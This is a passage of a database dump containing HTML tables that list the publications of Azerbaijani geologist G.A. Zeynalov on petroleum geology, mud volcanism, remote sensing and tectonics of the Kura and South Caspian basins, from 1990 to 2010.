width=\"48\"><p>pp.</p><p>241-242</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>26</p></td><td colspan=\"2\" width=\"168\"><p>The methodology for the use of Landsat-MSS imagery in oil exploration. Example of the East&nbsp;&nbsp; Azerbaijan region.&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“The 2nd International Symposium on Petroleum Geology. Probability Approach to Petroleum Exploration”</p><p>Zagreb, CROATIA</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>p.</p><p>177-178</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>27</p></td><td colspan=\"2\" width=\"168\"><p>Fault tectonics and its role in fluid dynamics in the South Caspian Basin (western flank) - (in Russian)</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A. and A.A. Feyzulayev</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of The Third International Conference devoted to 275th anniversary of Russian Academy of Sciences. New ideas in geology and geochemistry of oil and gas. Oil &amp; gas-bearing basin as a self-developing non-linear systems” Moscow State University, Russia</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>p.101-103</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>28</p></td><td colspan=\"2\" width=\"168\"><p>Some tectonic aspects of conditions of formation of oil and gas deposits in the western flank of the South Caspian basin (according to the remote sensing data)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”</p><p>Baku, Azerbaijan</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>202-203</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>29</p></td><td colspan=\"2\" width=\"168\"><p>Applying remote sensing investigations in oil exploration with connection of environmental protection.&nbsp;&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>&nbsp; Abstracts of the Scientific –Practical Conference: Sumgayit: Ecology and Progress, Sumgayit,Azerb</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>103-105</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>30</p></td><td colspan=\"2\" width=\"168\"><p>1999, Geodynamic conditions of formation of Meso-Cenozoic structures in the Kura Basin and its oil and gas potential..,</p><p>June 9-10, 1999, Baku, Azerbaijan, p.226-228</p><p>&nbsp;</p></td><td width=\"96\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"96\"><p>Kuliyev K.G. and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the International Conference “Geodynamics of the Black sea- Caspian segment of the Alpine folded belt and prospects of search for economic minerals”</p><p>Baku, Azerb.</p></td><td width=\"48\"><p>&nbsp;</p></td><td colspan=\"2\" width=\"48\"><p>&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>31</p></td><td colspan=\"2\" width=\"168\"><p>Miocene hydrocarbon potential of the South-eastern Gobustan and western Absheron</p><p>(in Russian)</p></td><td width=\"96\"><p>Edited</p><p>publications</p></td><td colspan=\"2\" width=\"96\"><p>I.S. Guliev, A.A. Feyzulayev,&nbsp;&nbsp;&nbsp; K.G. Kuliev M.F. Tagiyev, G.A.</p><p>Zeynalov, and&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; R.A.</p><p>Gurbanova</p></td><td colspan=\"2\" width=\"120\"><p>Proceeding of Geological Institute, Azerbaijan Academy of Sciences</p></td><td width=\"48\"><p>1999</p></td><td colspan=\"2\" width=\"48\"><p>192p</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>32</p></td><td colspan=\"2\" width=\"168\"><p>Studying mud volcanism of Azerbaijan by geological interpretation of remote sensing data</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Abstracts of Africa/Middle East International Geophysical Conference &amp; Exposition” Cairo, Egypt</p></td><td width=\"48\"><p>1997</p></td><td colspan=\"2\" width=\"48\"><p>pp. 47-48</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>33</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Lineament field of East Azerbaijan and some regularities of formation of oil and gas deposits. 1997,</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of The conference of Azerbaijan Society of Petroleum Geologists. “Generation, migration and accumulation of hydrocarbons”Baku, Azerbaijan,</p></td><td width=\"48\"><p>&nbsp;</p><p>1997</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>36 -37</p><p>&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>34</p></td><td colspan=\"2\" width=\"168\"><p>Elaboration and optimization methods of mapping of geologic-geophysical sections, maps and etc subsurface images on base of PC. (in Russian)</p></td><td width=\"96\"><p>Methodo-logical Guidelines</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"96\"><p>Guliyev I.S., Zeynalov G.A., Tagiyev, M.F. and Guliyev, S.I.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of Geological Institute of Azerbaijan Academy of Sciences”</p><p>Baku</p><p>Azerbaijan</p></td><td width=\"48\"><p>1997</p></td><td colspan=\"2\" width=\"48\"><p>36 p.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>35</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Palaeotectonic reconstruction of regional structure of Kura depression (in Russian)</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>Azerli M.M.</p><p>&amp; Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Azerbaijan Oil Industry” Baku</p></td><td width=\"48\"><p>1996</p></td><td colspan=\"2\" width=\"48\"><p>No11, pp. 4-8</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>36</p></td><td colspan=\"2\" width=\"168\"><p>Integration of of geologic-geophysical and remote sensing data for evaluation geologic structure of&nbsp; the Kura Basin</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the 1st International Symposium on Petroleum Geology. Economic Aspects of Petroleum Exploration” Zagreb, CROATIA</p></td><td width=\"48\"><p>1996</p></td><td colspan=\"2\" width=\"48\"><p>p.231-232</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>37</p></td><td colspan=\"2\" width=\"168\"><p>Mud volcanism and oil and gas content of the Lower Kura Basin</p></td><td width=\"96\"><p>Doctoral</p><p>Honor</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Thesis of PhD dissertation. Geological Institute, Azerbaijan Academy of Sciences, Baku, Azerbaijan</p></td><td width=\"48\"><p>1996</p></td><td colspan=\"2\" width=\"48\"><p>168 p.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>38</p></td><td colspan=\"2\" width=\"168\"><p>The oil and gas potential of the structures affected by mud volcanoes. 1995,</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>A.A.</p><p>Feizullayev, K.G.Kuliyev and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the III International Conference of AAPG, Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>19-22&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>39</p></td><td colspan=\"2\" width=\"168\"><p>Lineamental field of Lower Kura block and the specifics of mud volcanoes distribution</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>M.M.Azerli, Zeynalov, G.A.,</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of III International Conference of AAPG, Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>19-22</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>40</p></td><td colspan=\"2\" width=\"168\"><p>Peculiarities of mud volcanoes distribution in the Lower Kura depression</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of III International Conference of AAPG, Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>37-39</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>41</p></td><td colspan=\"2\" width=\"168\"><p>Role structural-tectonic development factor in prognosing of oil and gas content of the Lower Kura basin (in Russian)</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>2-4</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>42</p></td><td colspan=\"2\" width=\"168\"><p>About historical-geologic modelling of oil and gas generation in the Lower Kura Basin (in Russian)</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of Scientific-practical Conference of Young scientists dedicated to the problems of oil and gas industry, Baku, Azerbaijan,</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>4-5</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>43</p></td><td colspan=\"2\" width=\"168\"><p>&nbsp;Geochemistry of oil and mineralogy of solid products of Azerbaijan mud volcanoes. (in Russian)</p></td><td width=\"96\"><p>Edited publications</p></td><td colspan=\"2\" width=\"96\"><p>Guliyev I.S., Feyzullayev, A.A., Kulyev K.G., Tagiyev M.F., Zeynalov, G.A. and Gurbanova R.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of Geological Institute of Azerbaijan Academy of Sciences,</p><p>Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1995</p></td><td colspan=\"2\" width=\"48\"><p>132 p.</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>44</p></td><td colspan=\"2\" width=\"168\"><p>Classification of mud volcanoes of the Lower Kura Basin (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>E.B.Bagirov and Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Azerbaijan Oil Industry”</p><p>Baku, Azerbaijan</p></td><td width=\"48\"><p>1994</p></td><td colspan=\"2\" width=\"48\"><p>No 6, p.45-54</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>45</p></td><td colspan=\"2\" width=\"168\"><p>Preliminary results of studying mud volcanism of Azerbaijan by satellite images</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Rahmanov R.R,</p><p>Zeynalov, G.A. and Azerli M.M.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the I Eurasian Symposium on Space Sciences and Technologies, Gebze-Kocaeli,</p><p>Turkey</p></td><td width=\"48\"><p>1993</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>127-129</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>46</p></td><td colspan=\"2\" width=\"168\"><p>Oil and gas prospects of Paleogene sediments in Lower Kura Basin (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\"><p>1993</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>71-72</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>47</p></td><td colspan=\"2\" width=\"168\"><p>Mud volcano distributions and hydrocarbon seepages in Shamakhy-Gobustan and Lower Kura depressions (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\"><p>1992</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>44-45</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>48</p></td><td colspan=\"2\" width=\"168\"><p>Oil and gas prospects of Productive series in Lower Kura Basin and Baku archipelago. Proceedings of Geological Institute of Azerbaijan Academy of Sciences (in Russian</p></td><td width=\"96\"><p>Edited</p><p>publications</p></td><td colspan=\"2\" width=\"96\"><p>Mehdiyev Sh.F., BunyadzadeZ.A.,</p><p>AliyevG.M., Bashirov</p><p>Y.F.,</p><p>Zeynalov, G.A. and Efendiyev A. N.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of Geological Institute of Azerbaijan Academy of Sciences,</p><p>Baku</p><p>Azerbaijan</p></td><td width=\"48\"><p>1992</p></td><td colspan=\"2\" width=\"48\"><p>178p</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>49</p></td><td colspan=\"2\" width=\"168\"><p>Facial-lithologic characterization of lower horizons of Productive Series (Lower Pliocene) sediments in Lower Kura Basin (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the Conference of Young scientists of Azerbaijan Academy of Sciences, Baku</p></td><td width=\"48\"><p>1991</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>70-71</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>50</p></td><td colspan=\"2\" width=\"168\"><p>On structural division of Cheleken-Livanov uplift zone (Turkmenistan)</p><p>(in Russian)</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>N.R.</p><p>Narimanov, A.K.Abasov and G.A.</p><p>Zeynalov</p></td><td colspan=\"2\" width=\"120\"><p>“Oil &amp; Gas” Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>1991</p></td><td colspan=\"2\" width=\"48\"><p>No 2, pp.</p><p>11-16</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>51</p></td><td colspan=\"2\" width=\"168\"><p>Palaeotectonic development from Pliocene to Quaternary periods in Absheron archipelago, South Caspian Basin, (in Russian)</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of&nbsp; Conference Soviet Union Young scientists and students, DnepropetrovskUkraine</p></td><td width=\"48\"><p>1990</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>123-124</p></td></tr></tbody></table>  <br></div>'),(1533,958,'en','Gasham Zeynalov','Gasham Zeynalov','<div><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" width=\"613\" style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><tbody><tr><td width=\"31\"><p>#</p></td><td width=\"167\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"108\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"108\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"48\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td colspan=\"3\" width=\"54\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Neotectonics of the Caucasus and Kura Valley, Azerbaijan&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"97\"><p>&nbsp;</p><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>M.Nemčok,</p><p>A.A. Feyzulayev, F.A. Kadirov, G.A. Zeynalov,</p><p>R. Allen, C. Christensen and B.Welker</p><p>&nbsp;</p></td><td width=\"108\"><p>“Tectono-physics”</p><p>Amsterdam,</p><p>Netherlands</p><p><strong>&nbsp;</strong></p></td><td width=\"48\"><p>in</p><p>press</p><p>&nbsp;</p></td><td colspan=\"3\" width=\"54\"><p>23 pages</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>On pyrolysis-based study of the efficiency of primary migration of hydrocarbons from source rocks</p><p>(in russian)</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>M.F. Tagiyev and&nbsp; G.A.</p><p>Zeynalov</p></td><td width=\"108\"><p>“Proceedings of SOCAR”</p><p>Baku, Azerbaijan</p><p>&nbsp;</p></td><td width=\"48\"><p>&nbsp;</p><p>2010</p></td><td colspan=\"3\" width=\"54\"><p>No2 &amp; pp.</p><p>16-19</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Oil and gas accumulation environments of the Kura Basin, concerning with geotectonic conditions.</p></td><td colspan=\"2\" width=\"97\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Abstracts of the VII Azerbaijan International Geophysical Conference” Baku, Azerbaijan</p></td><td width=\"48\"><p>2010</p></td><td colspan=\"3\" width=\"54\"><p>p.93</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Oil-gas bearing of the Suleyman-Akhtarma area, Azerbaijan. Geophysics News in Azerbaijan,</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Sh.S. Kocharly, A.M. Ahmadov, &amp; G.A.</p><p>Zeynalov</p></td><td width=\"108\"><p>Geophysics News in Azerbaijan</p></td><td width=\"48\"><p>2009</p></td><td colspan=\"3\" width=\"54\"><p>No1-2, pp.</p><p>44-47</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p><strong>&nbsp;</strong>Fluid flow and sealing properties associated with active faults: Kura&nbsp; Basin, Azerbaijan<strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p><p><strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Extended Abstracts of EAGE &amp; AAPG International Conference on Petroleum Geology &amp; Hydrocarbon Potential”</p><p>Baku Azerb.&nbsp;</p></td><td width=\"48\"><p>2008</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>14-17</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>Structural-geologic evolution of the western flank of the South Caspian Basin. (in Russian).</p></td><td colspan=\"2\" width=\"97\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Extended Abstracts of the Second International Conference on Geodynamics of Oil and Gas Content Basins”, Moscow, Russia</p></td><td width=\"48\"><p>2006</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>168-171</p></td></tr><tr><td width=\"31\"><ol><li><strong>&nbsp;</strong></li></ol></td><td width=\"167\"><p>&nbsp;Oil and gas prospective in&nbsp; southern-west flank structures of the Gabyrry- Ajinohur basin (in azeri)</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A. and Khanlarova Sh.H.</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI” Baku,</p><p>Azerbaijan</p><p>&nbsp;</p></td><td width=\"48\"><p>2006</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>17-22</p></td></tr><tr><td width=\"31\"><p><strong>8</strong></p></td><td width=\"167\"><p>Geologic Risk and Seismic Hazard Assessment in the&nbsp;</p><p>Southeastern Caucasus Using remote Sensing Data.<strong>&nbsp;</strong></p></td><td colspan=\"2\" width=\"97\"><p>Conference Proceedings</p></td><td colspan=\"3\" width=\"108\"><p>G.A.</p><p>Zeynalov and E.G.Frost</p></td><td width=\"108\"><p>“IAMG’05:&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; GIS and Spatial Analysis” Toronto, Canada</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>Vol.1, pp.155-160</p></td></tr><tr><td width=\"31\"><p><strong>9</strong></p></td><td width=\"167\"><p>Analysis of structural architectures of Garadagh field and implications&nbsp; to reservoir performance , (in azeri)</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov G.A.</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI” Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>21-24</p></td></tr><tr><td width=\"31\"><p><strong>10</strong></p></td><td width=\"167\"><p>Analysis of the results of geologic-geophysical investigations and evaluation of oil and gas content in Turkan field, onshore Azerbaijan</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov G.A.</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI” Baku,</p><p>Azerbaijan</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>12-17</p></td></tr><tr><td width=\"31\"><p><strong>11</strong></p></td><td width=\"167\"><p>Analysis of the results of geologic-geophysical investigations and evaluation of oil and gas content in Turkan field, onshore (in Russian)</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"97\"><p>Journal</p><p>Article</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov G.A</p></td><td width=\"108\"><p>“Reports of&nbsp; GSRI”</p><p>Azerbaijan</p></td><td width=\"48\"><p>2005</p></td><td colspan=\"3\" width=\"54\"><p>pp.</p><p>12-17</p></td></tr><tr><td width=\"31\"><p><strong>12</strong></p></td><td width=\"167\"><p>Active tectonics of the Kura Intermountain Basin and its relation with fluid flow<strong>&nbsp;</strong>(in russian)</p></td><td colspan=\"2\" width=\"97\"><p>Book chapter</p></td><td colspan=\"3\" width=\"108\"><p>Zeynalov, G.A.</p></td><td width=\"108\"><p>“Geology of Caspian and Aral Seas Regions”</p><p>Almaty, Kazakhstan</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"3\" width=\"54\"><p>pp. 212-217</p></td></tr><tr><td width=\"31\"><p>13</p></td><td colspan=\"2\" width=\"168\"><p>Kura Intermountain Basin: Active Tectonics and Regularities of Distribution of Hydrocarbon Accumulations (in Russian)</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Oil and Gas Geology”</p><p>Moscow, Russia,</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"2\" width=\"48\"><p>No 6, pp.</p><p>34-38</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>14</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Kura Intermountain Basin: occurrence of oil and gas seeps and environment of hydrocarbon accumulations (in Russian).</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of the Seventh International Conference devoted to 250th Anniversary of Moscow University, New Ideas in Geology and Geochemistry of oil and gas” Moscow ,GEOS, Russia</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>191-192</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>&nbsp;</p><p>15</p></td><td colspan=\"2\" width=\"168\"><p>Fault Sealing and Hydrocarbon Occurrence in the Kura Valley, Azerbaijan, ,</p></td><td width=\"96\"><p>Congress Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Abstracts of the 32nd International Geological Congress, Florence, Italy</p></td><td width=\"48\"><p>2004</p></td><td colspan=\"2\" width=\"48\"><p>(part1) p.</p><p>697</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>16</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p></td><td colspan=\"2\" width=\"168\"><p>Interrelation between oil seeps, faults and hydrocarbon reserves in Azerbaijan</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Extended Abstracts of the 5th EAGE and AGEO International Conference “Crimea-2003”, Problems of Geodynamics and Oil-gas Content of the Black Sea and Caspian Regions” Crimea, Symferopol, Ukraine</p></td><td width=\"48\"><p>2003</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>192-195</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>17</p></td><td colspan=\"2\" width=\"168\"><p>Analysis of Fluvial depositional environment in western coast of the South Caspian Basin using Landsat data</p><p>&nbsp;</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>Proceedings of the Fifth International Airborne Remote Sensing Conference and Exhibition San Francisco, USA</p></td><td width=\"48\"><p>2001</p></td><td colspan=\"2\" width=\"48\"><p>Vol.I&nbsp; pp.</p><p>383-386</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>18</p></td><td colspan=\"2\" width=\"168\"><p>Application remote sensing technology for monitoring of the mud volcano activity in coastal region of the South Caspian Basin</p></td><td width=\"96\"><p>Conference</p><p>Proceedings</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the Seventh International Conference on Remote Sensing for Marine and Coastal Environments</p><p>Miami, USA</p></td><td width=\"48\"><p>2002</p></td><td colspan=\"2\" width=\"48\"><p>Vol.I</p><p>pp.</p><p>327-329&nbsp;</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>19</p></td><td colspan=\"2\" width=\"168\"><p>Geologic significance of Landsat data for oil exploration in Azerbaijan</p><p>&nbsp;</p></td><td width=\"96\"><p>Journal</p><p>Article</p></td><td colspan=\"2\" width=\"96\"><p>Zeynalov, G.A.</p></td><td colspan=\"2\" width=\"120\"><p>“Proceedings of the Fourteenth International Conference on Applied Geologic Remote Sensing”</p><p>&nbsp;ERIM International. Las Vegas, USA</p></td><td width=\"48\"><p>2000</p></td><td colspan=\"2\" width=\"48\"><p>pp.</p><p>212-219</p></td><td width=\"6\"><p>&nbsp;</p></td></tr><tr><td width=\"31\"><p>20</p></td><td 